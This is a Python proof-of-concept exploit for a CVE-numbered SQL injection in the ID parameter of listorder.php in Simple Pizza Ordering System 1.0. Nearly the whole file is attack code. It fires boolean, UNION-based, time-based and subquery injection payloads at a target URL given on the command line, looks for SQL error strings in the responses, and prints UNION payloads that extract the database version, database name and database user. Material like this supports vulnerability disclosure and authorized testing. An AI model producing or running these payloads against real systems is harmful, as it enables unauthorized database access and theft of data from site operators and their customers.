# CVE-2025-13323 SQL Injection PoC
# Target: Simple Pizza Ordering System 1.0
# File: /listorder.php
# Parameter: ID
import requests
import sys
target_url = "http://target.com/listorder.php"
# Basic SQL Injection test payloads
payloads = [
"1' OR '1'='1", # Basic bypass
"1' UNION SELECT 1,2,3,4,5,6-- -", # Union-based injection
"1' AND SLEEP(5)-- -", # Time-based blind injection
"1' AND (SELECT COUNT(*) FROM users)>0-- -", # Boolean-based injection
]
def test_sql_injection(url, param='ID'):
print(f"[*] Testing SQL Injection on {url}")
print(f"[*] Parameter: {param}")
for payload in payloads:
try:
params = {param: payload}
response = requests.get(url, params=params, timeout=10)
print(f"\n[+] Testing payload: {payload}")
print(f" Status Code: {response.status_code}")
print(f" Response Length: {len(response.text)}")
# Check for SQL error indicators
sql_errors = ['mysql', 'sql', 'syntax', 'warning', 'error']
for error in sql_errors:
if error.lower() in response.text.lower():
print(f" [!] Potential SQL Error detected!")
break
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
# Database enumeration example
def extract_database_info(url):
print("\n[*] Extracting database information...")
# Get database version
version_payload = "1' UNION SELECT 1,@@version,3,4,5,6-- -"
# Get current database
db_payload = "1' UNION SELECT 1,database(),3,4,5,6-- -"
# Get users
users_payload = "1' UNION SELECT 1,user(),3,4,5,6-- -"
print(f"[*] Version payload: {version_payload}")
print(f"[*] Database payload: {db_payload}")
print(f"[*] Users payload: {users_payload}")
if __name__ == "__main__":
if len(sys.argv) > 1:
target_url = sys.argv[1]
test_sql_injection(target_url)
extract_database_info(target_url)
print("\n[*] PoC completed. Further exploitation depends on specific environment.")